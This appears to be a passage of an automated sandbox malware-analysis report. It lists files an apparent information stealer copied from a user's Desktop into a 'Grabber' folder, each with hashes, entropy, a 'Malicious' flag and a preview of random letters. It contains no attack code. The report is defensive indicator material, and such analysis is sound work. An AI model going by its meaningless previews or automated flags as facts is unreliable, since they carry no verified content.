Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH\GIGIYTFFYT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH\GLTYDMDUST.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	true
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH\JDDHMPCDUJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH\PALRGUCVEH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZGGKNSUKOP.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
